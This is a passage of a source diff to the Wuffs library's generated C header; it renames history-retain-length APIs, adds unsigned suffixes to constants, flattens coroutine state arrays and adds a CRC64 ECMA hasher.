#ifdef __cplusplus +@@ -7283,11 +7637,6 @@ struct wuffs_bmp__decoder__struct { + return wuffs_bmp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_bmp__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_bmp__decoder__workbuf_len(this); +@@ -7316,9 +7665,9 @@ extern const char wuffs_bzip2__error__unsupported_block_randomization[]; + + // ---------------- Public Consts + +-#define WUFFS_BZIP2__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_BZIP2__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_BZIP2__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_BZIP2__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +@@ -7386,8 +7735,8 @@ wuffs_bzip2__decoder__set_quirk( + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bzip2__decoder__history_retain_length( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_bzip2__decoder__dst_history_retain_length( + const wuffs_bzip2__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +@@ -7452,12 +7801,12 @@ struct wuffs_bzip2__decoder__struct { + uint32_t f_num_sections; + uint32_t f_code_lengths_bitmask; + +- uint32_t p_transform_io[1]; +- uint32_t p_do_transform_io[1]; +- uint32_t p_prepare_block[1]; +- uint32_t p_read_code_lengths[1]; +- uint32_t p_flush_slow[1]; +- uint32_t p_decode_huffman_slow[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; ++ uint32_t p_prepare_block; ++ uint32_t p_read_code_lengths; ++ uint32_t p_flush_slow; ++ uint32_t p_decode_huffman_slow; + } private_impl; + + struct { +@@ -7474,15 +7823,15 @@ struct wuffs_bzip2__decoder__struct { + uint32_t v_i; + uint64_t v_tag; + uint32_t v_final_checksum_want; +- } s_do_transform_io[1]; ++ } s_do_transform_io; + struct { + uint32_t v_i; + uint32_t v_selector; +- } s_prepare_block[1]; ++ } s_prepare_block; + struct { + uint32_t v_i; + uint32_t v_code_length; +- } s_read_code_lengths[1]; ++ } s_read_code_lengths; + struct { + uint32_t v_flush_pointer; + uint32_t v_flush_repeat_count; +@@ -7491,10 +7840,10 @@ struct wuffs_bzip2__decoder__struct { + uint32_t v_block_size; + uint8_t v_curr; + uint64_t scratch; +- } s_flush_slow[1]; ++ } s_flush_slow; + struct { + uint32_t v_node_index; +- } s_decode_huffman_slow[1]; ++ } s_decode_huffman_slow; + } private_data; + + #ifdef __cplusplus +@@ -7572,9 +7921,9 @@ struct wuffs_bzip2__decoder__struct { + return wuffs_bzip2__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_bzip2__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_bzip2__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 +@@ -7606,25 +7955,23 @@ extern const char wuffs_cbor__error__unsupported_recursion_depth[]; + + // ---------------- Public Consts + +-#define WUFFS_CBOR__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_CBOR__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_CBOR__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_CBOR__DECODER_DEPTH_MAX_INCL 1024u + +-#define WUFFS_CBOR__DECODER_DEPTH_MAX_INCL 1024 ++#define WUFFS_CBOR__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 2u + +-#define WUFFS_CBOR__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 2 ++#define WUFFS_CBOR__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 9u + +-#define WUFFS_CBOR__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 9 ++#define WUFFS_CBOR__TOKEN_VALUE_MAJOR 787997u + +-#define WUFFS_CBOR__TOKEN_VALUE_MAJOR 787997 ++#define WUFFS_CBOR__TOKEN_VALUE_MINOR__DETAIL_MASK 262143u + +-#define WUFFS_CBOR__TOKEN_VALUE_MINOR__DETAIL_MASK 262143 ++#define WUFFS_CBOR__TOKEN_VALUE_MINOR__MINUS_1_MINUS_X 16777216u + +-#define WUFFS_CBOR__TOKEN_VALUE_MINOR__MINUS_1_MINUS_X 16777216 ++#define WUFFS_CBOR__TOKEN_VALUE_MINOR__SIMPLE_VALUE 8388608u + +-#define WUFFS_CBOR__TOKEN_VALUE_MINOR__SIMPLE_VALUE 8388608 +- +-#define WUFFS_CBOR__TOKEN_VALUE_MINOR__TAG 4194304 ++#define WUFFS_CBOR__TOKEN_VALUE_MINOR__TAG 4194304u + + // ---------------- Struct Declarations + +@@ -7691,11 +8038,6 @@ wuffs_cbor__decoder__set_quirk( + uint32_t a_key, + uint64_t a_value); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_cbor__decoder__history_retain_length( +- const wuffs_cbor__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_cbor__decoder__workbuf_len( +@@ -7738,7 +8080,7 @@ struct wuffs_cbor__decoder__struct { + + bool f_end_of_data; + +- uint32_t p_decode_tokens[1]; ++ uint32_t p_decode_tokens; + } private_impl; + + struct { +@@ -7750,7 +8092,7 @@ struct wuffs_cbor__decoder__struct { + uint32_t v_depth; + bool v_tagged; + uint8_t v_indefinite_string_major_type; +- } s_decode_tokens[1]; ++ } s_decode_tokens; + } private_data; + + #ifdef __cplusplus +@@ -7828,11 +8170,6 @@ struct wuffs_cbor__decoder__struct { + return wuffs_cbor__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_cbor__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_cbor__decoder__workbuf_len(this); +@@ -8074,6 +8411,227 @@ struct wuffs_crc32__ieee_hasher__struct { + + #endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) || defined(WUFFS_NONMONOLITHIC) + ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) || defined(WUFFS_NONMONOLITHIC) ++ ++// ---------------- Status Codes ++ ++// ---------------- Public Consts ++ ++// ---------------- Struct Declarations ++ ++typedef struct wuffs_crc64__ecma_hasher__struct wuffs_crc64__ecma_hasher; ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++// ---------------- Public Initializer Prototypes ++ ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_crc64__ecma_hasher__initialize( ++ wuffs_crc64__ecma_hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); ++ ++size_t ++sizeof__wuffs_crc64__ecma_hasher(void); ++ ++// ---------------- Allocs ++ ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. ++ ++wuffs_crc64__ecma_hasher* ++wuffs_crc64__ecma_hasher__alloc(void); ++ ++static inline wuffs_base__hasher_u64* ++wuffs_crc64__ecma_hasher__alloc_as__wuffs_base__hasher_u64(void) { ++ return (wuffs_base__hasher_u64*)(wuffs_crc64__ecma_hasher__alloc()); ++} ++ ++// ---------------- Upcasts ++ ++static inline wuffs_base__hasher_u64* ++wuffs_crc64__ecma_hasher__upcast_as__wuffs_base__hasher_u64( ++ wuffs_crc64__ecma_hasher* p) { ++ return (wuffs_base__hasher_u64*)p; ++} ++ ++// ---------------- Public Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_crc64__ecma_hasher__get_quirk( ++ const wuffs_crc64__ecma_hasher* self, ++ uint32_t a_key); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_crc64__ecma_hasher__set_quirk( ++ wuffs_crc64__ecma_hasher* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__update( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_crc64__ecma_hasher__update_u64( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_crc64__ecma_hasher__checksum_u64( ++ const wuffs_crc64__ecma_hasher* self); ++ ++#ifdef __cplusplus ++} // extern "C" ++#endif ++ ++// ---------------- Struct Definitions ++ ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_crc64__ecma_hasher__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__hasher_u64; ++ wuffs_base__vtable null_vtable; ++ ++ uint64_t f_state; ++ ++ wuffs_base__empty_struct (*choosy_up)( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); ++ } private_impl; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_crc64__ecma_hasher__alloc()); ++ } ++ ++ static inline wuffs_base__hasher_u64::unique_ptr ++ alloc_as__wuffs_base__hasher_u64() { ++ return wuffs_base__hasher_u64::unique_ptr( ++ wuffs_crc64__ecma_hasher__alloc_as__wuffs_base__hasher_u64()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_crc64__ecma_hasher__struct() = delete; ++ wuffs_crc64__ecma_hasher__struct(const wuffs_crc64__ecma_hasher__struct&) = delete; ++ wuffs_crc64__ecma_hasher__struct& operator=( ++ const wuffs_crc64__ecma_hasher__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_crc64__ecma_hasher__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } ++ ++ inline wuffs_base__hasher_u64* ++ upcast_as__wuffs_base__hasher_u64() { ++ return (wuffs_base__hasher_u64*)this; ++ } ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_crc64__ecma_hasher__get_quirk(this, a_key); ++ } ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_crc64__ecma_hasher__set_quirk(this, a_key, a_value); ++ } ++ ++ inline wuffs_base__empty_struct ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_crc64__ecma_hasher__update(this, a_x); ++ } ++ ++ inline uint64_t ++ update_u64( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_crc64__ecma_hasher__update_u64(this, a_x); ++ } ++ ++ inline uint64_t ++ checksum_u64() const { ++ return wuffs_crc64__ecma_hasher__checksum_u64(this); ++ } ++ ++#endif // __cplusplus ++}; // struct wuffs_crc64__ecma_hasher__struct ++ ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) || defined(WUFFS_NONMONOLITHIC) ++ + #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes +@@ -8095,9 +8653,9 @@ extern const char wuffs_deflate__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_DEFLATE__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_DEFLATE__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_DEFLATE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1 ++#define WUFFS_DEFLATE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1u + + // ---------------- Struct Declarations + +@@ -8171,8 +8729,8 @@ wuffs_deflate__decoder__set_quirk( + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_deflate__decoder__history_retain_length( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_deflate__decoder__dst_history_retain_length( + const wuffs_deflate__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +@@ -8222,16 +8780,16 @@ struct wuffs_deflate__decoder__struct { + uint32_t f_n_huffs_bits[2]; + bool f_end_of_block; + +- uint32_t p_transform_io[1]; +- uint32_t p_do_transform_io[1]; +- uint32_t p_decode_blocks[1]; +- uint32_t p_decode_uncompressed[1]; +- uint32_t p_init_dynamic_huffman[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; ++ uint32_t p_decode_blocks; ++ uint32_t p_decode_uncompressed; ++ uint32_t p_init_dynamic_huffman; + wuffs_base__status (*choosy_decode_huffman_fast64)( + wuffs_deflate__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src); +- uint32_t p_decode_huffman_slow[1]; ++ uint32_t p_decode_huffman_slow; + } private_impl; + + struct { +@@ -8241,11 +8799,11 @@ struct wuffs_deflate__decoder__struct { + + struct { + uint32_t v_final; +- } s_decode_blocks[1]; ++ } s_decode_blocks; + struct { + uint32_t v_length; + uint64_t scratch; +- } s_decode_uncompressed[1]; ++ } s_decode_uncompressed; + struct { + uint32_t v_bits; + uint32_t v_n_bits; +@@ -8257,7 +8815,7 @@ struct wuffs_deflate__decoder__struct { + uint32_t v_n_extra_bits; + uint8_t v_rep_symbol; + uint32_t v_rep_count; +- } s_init_dynamic_huffman[1]; ++ } s_init_dynamic_huffman; + struct { + uint32_t v_bits; + uint32_t v_n_bits; +@@ -8269,7 +8827,7 @@ struct wuffs_deflate__decoder__struct { + uint32_t v_length; + uint32_t v_dist_minus_1; + uint64_t scratch; +- } s_decode_huffman_slow[1]; ++ } s_decode_huffman_slow; + } private_data; + + #ifdef __cplusplus +@@ -8353,9 +8911,9 @@ struct wuffs_deflate__decoder__struct { + return wuffs_deflate__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_deflate__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_deflate__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 +@@ -8393,23 +8951,21 @@ extern const char wuffs_gif__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_GIF__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_GIF__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_GIF__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_GIF__QUIRK_DELAY_NUM_DECODED_FRAMES 1041635328u + +-#define WUFFS_GIF__QUIRK_DELAY_NUM_DECODED_FRAMES 1041635328 ++#define WUFFS_GIF__QUIRK_FIRST_FRAME_LOCAL_PALETTE_MEANS_BLACK_BACKGROUND 1041635329u + +-#define WUFFS_GIF__QUIRK_FIRST_FRAME_LOCAL_PALETTE_MEANS_BLACK_BACKGROUND 1041635329 ++#define WUFFS_GIF__QUIRK_HONOR_BACKGROUND_COLOR 1041635330u + +-#define WUFFS_GIF__QUIRK_HONOR_BACKGROUND_COLOR 1041635330 ++#define WUFFS_GIF__QUIRK_IGNORE_TOO_MUCH_PIXEL_DATA 1041635331u + +-#define WUFFS_GIF__QUIRK_IGNORE_TOO_MUCH_PIXEL_DATA 1041635331 ++#define WUFFS_GIF__QUIRK_IMAGE_BOUNDS_ARE_STRICT 1041635332u + +-#define WUFFS_GIF__QUIRK_IMAGE_BOUNDS_ARE_STRICT 1041635332 ++#define WUFFS_GIF__QUIRK_REJECT_EMPTY_FRAME 1041635333u + +-#define WUFFS_GIF__QUIRK_REJECT_EMPTY_FRAME 1041635333 +- +-#define WUFFS_GIF__QUIRK_REJECT_EMPTY_PALETTE 1041635334 ++#define WUFFS_GIF__QUIRK_REJECT_EMPTY_PALETTE 1041635334u + + // ---------------- Struct Declarations + +@@ -8518,11 +9074,6 @@ WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 + wuffs_gif__decoder__frame_dirty_rect( + const wuffs_gif__decoder* self); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__history_retain_length( +- const wuffs_gif__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_gif__decoder__workbuf_len( +@@ -8627,25 +9178,25 @@ struct wuffs_gif__decoder__struct { + uint32_t f_lzw_read_from_return_value; + uint16_t f_lzw_prefixes[4096]; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_tell_me_more[1]; +- uint32_t p_do_tell_me_more[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_skip_frame[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; +- uint32_t p_decode_up_to_id_part1[1]; +- uint32_t p_decode_header[1]; +- uint32_t p_decode_lsd[1]; +- uint32_t p_decode_extension[1]; +- uint32_t p_skip_blocks[1]; +- uint32_t p_decode_ae[1]; +- uint32_t p_decode_gc[1]; +- uint32_t p_decode_id_part0[1]; +- uint32_t p_decode_id_part1[1]; +- uint32_t p_decode_id_part2[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_tell_me_more; ++ uint32_t p_do_tell_me_more; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_skip_frame; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_decode_up_to_id_part1; ++ uint32_t p_decode_header; ++ uint32_t p_decode_lsd; ++ uint32_t p_decode_extension; ++ uint32_t p_skip_blocks; ++ uint32_t p_decode_ae; ++ uint32_t p_decode_gc; ++ uint32_t p_decode_id_part0; ++ uint32_t p_decode_id_part1; ++ uint32_t p_decode_id_part2; + } private_impl; + + struct { +@@ -8658,24 +9209,23 @@ struct wuffs_gif__decoder__struct { + + struct { + uint32_t v_background_color; +- } s_do_decode_frame_config[1]; ++ } s_do_decode_frame_config; + struct { + uint64_t scratch; +- } s_skip_frame[1]; ++ } s_skip_frame; + struct { +- uint8_t v_c[6]; +- uint32_t v_i; +- } s_decode_header[1]; ++ uint64_t scratch; ++ } s_decode_header; + struct { + uint8_t v_flags; + uint8_t v_background_color_index; + uint32_t v_num_palette_entries; + uint32_t v_i; + uint64_t scratch; +- } s_decode_lsd[1]; ++ } s_decode_lsd; + struct { + uint64_t scratch; +- } s_skip_blocks[1]; ++ } s_skip_blocks; + struct { + uint8_t v_block_size; + bool v_is_animexts; +@@ -8683,24 +9233,24 @@ struct wuffs_gif__decoder__struct { + bool v_is_iccp; + bool v_is_xmp; + uint64_t scratch; +- } s_decode_ae[1]; ++ } s_decode_ae; + struct { + uint64_t scratch; +- } s_decode_gc[1]; ++ } s_decode_gc; + struct { + uint64_t scratch; +- } s_decode_id_part0[1]; ++ } s_decode_id_part0; + struct { + uint8_t v_which_palette; + uint32_t v_num_palette_entries; + uint32_t v_i; + uint64_t scratch; +- } s_decode_id_part1[1]; ++ } s_decode_id_part1; + struct { + uint64_t v_block_size; + bool v_need_block_size; + uint64_t scratch; +- } s_decode_id_part2[1]; ++ } s_decode_id_part2; + } private_data; + + #ifdef __cplusplus +@@ -8820,11 +9370,6 @@ struct wuffs_gif__decoder__struct { + return wuffs_gif__decoder__frame_dirty_rect(this); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_gif__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_gif__decoder__workbuf_len(this); +@@ -8873,9 +9418,9 @@ extern const char wuffs_gzip__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_GZIP__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_GZIP__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_GZIP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1 ++#define WUFFS_GZIP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1u + + // ---------------- Struct Declarations + +@@ -8943,8 +9488,8 @@ wuffs_gzip__decoder__set_quirk( + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gzip__decoder__history_retain_length( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_gzip__decoder__dst_history_retain_length( + const wuffs_gzip__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +@@ -8989,8 +9534,8 @@ struct wuffs_gzip__decoder__struct { + + bool f_ignore_checksum; + +- uint32_t p_transform_io[1]; +- uint32_t p_do_transform_io[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; + } private_impl; + + struct { +@@ -8999,11 +9544,11 @@ struct wuffs_gzip__decoder__struct { + + struct { + uint8_t v_flags; +- uint32_t v_checksum_got; +- uint32_t v_decoded_length_got; ++ uint32_t v_checksum_have; ++ uint32_t v_decoded_length_have; + uint32_t v_checksum_want; + uint64_t scratch; +- } s_do_transform_io[1]; ++ } s_do_transform_io; + } private_data; + + #ifdef __cplusplus +@@ -9081,9 +9626,9 @@ struct wuffs_gzip__decoder__struct { + return wuffs_gzip__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_gzip__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_gzip__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 +@@ -9117,8 +9662,10 @@ extern const char wuffs_jpeg__error__bad_sof_marker[]; + extern const char wuffs_jpeg__error__bad_sos_marker[]; + extern const char wuffs_jpeg__error__bad_header[]; + extern const char wuffs_jpeg__error__bad_marker[]; ++extern const char wuffs_jpeg__error__bad_scan_count[]; + extern const char wuffs_jpeg__error__missing_huffman_table[]; + extern const char wuffs_jpeg__error__missing_quantization_table[]; ++extern const char wuffs_jpeg__error__rejected_progressive_jpeg[]; + extern const char wuffs_jpeg__error__truncated_input[]; + extern const char wuffs_jpeg__error__unsupported_arithmetic_coding[]; + extern const char wuffs_jpeg__error__unsupported_color_model[]; +@@ -9134,9 +9681,9 @@ extern const char wuffs_jpeg__error__unsupported_scan_count[]; + + // ---------------- Public Consts + +-#define WUFFS_JPEG__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_JPEG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 51552191232u + +-#define WUFFS_JPEG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 51552191232 ++#define WUFFS_JPEG__QUIRK_REJECT_PROGRESSIVE_JPEGS 1220532224u + + // ---------------- Struct Declarations + +@@ -9269,11 +9816,6 @@ wuffs_jpeg__decoder__tell_me_more( + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__history_retain_length( +- const wuffs_jpeg__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_jpeg__decoder__workbuf_len( +@@ -9368,6 +9910,13 @@ struct wuffs_jpeg__decoder__struct { + uint32_t f_bitstream_ri; + uint32_t f_bitstream_wi; + bool f_bitstream_is_closed; ++ bool f_expect_multiple_scans; ++ bool f_use_lower_quality; ++ bool f_reject_progressive_jpegs; ++ bool f_swizzle_immediately; ++ wuffs_base__status f_swizzle_immediately_status; ++ uint32_t f_swizzle_immediately_b_offsets[10]; ++ uint32_t f_swizzle_immediately_c_offsets[5]; + uint32_t f_bitstream_padding; + uint16_t f_quant_tables[4][64]; + uint16_t f_saved_quant_tables[4][64]; +@@ -9381,28 +9930,29 @@ struct wuffs_jpeg__decoder__struct { + wuffs_base__slice_u8 a_dst_buffer, + uint64_t a_dst_stride, + uint32_t a_q); +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_dqt[1]; +- uint32_t p_decode_dri[1]; +- uint32_t p_decode_appn[1]; +- uint32_t p_decode_sof[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; +- uint32_t p_decode_dht[1]; +- uint32_t p_decode_sos[1]; +- uint32_t p_prepare_scan[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_dqt; ++ uint32_t p_decode_dri; ++ uint32_t p_decode_appn; ++ uint32_t p_decode_sof; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_decode_dht; ++ uint32_t p_decode_sos; ++ uint32_t p_prepare_scan; + wuffs_base__empty_struct (*choosy_load_mcu_blocks_for_single_component)( + wuffs_jpeg__decoder* self, + uint32_t a_mx, + uint32_t a_my, + wuffs_base__slice_u8 a_workbuf, + uint32_t a_csel); +- uint32_t p_skip_past_the_next_restart_marker[1]; ++ uint32_t p_skip_past_the_next_restart_marker; + uint32_t (*choosy_decode_mcu)( + wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__slice_u8 a_workbuf, + uint32_t a_mx, + uint32_t a_my); +@@ -9411,6 +9961,7 @@ struct wuffs_jpeg__decoder__struct { + struct { + uint8_t f_bitstream_buffer[2048]; + uint16_t f_mcu_blocks[10][64]; ++ uint8_t f_swizzle_immediately_buffer[640]; + uint8_t f_swizzle_ycck_scratch_buffer_2k[2048]; + uint8_t f_dht_temp_counts[16]; + uint8_t f_dht_temp_bit_lengths[256]; +@@ -9420,38 +9971,38 @@ struct wuffs_jpeg__decoder__struct { + struct { + uint8_t 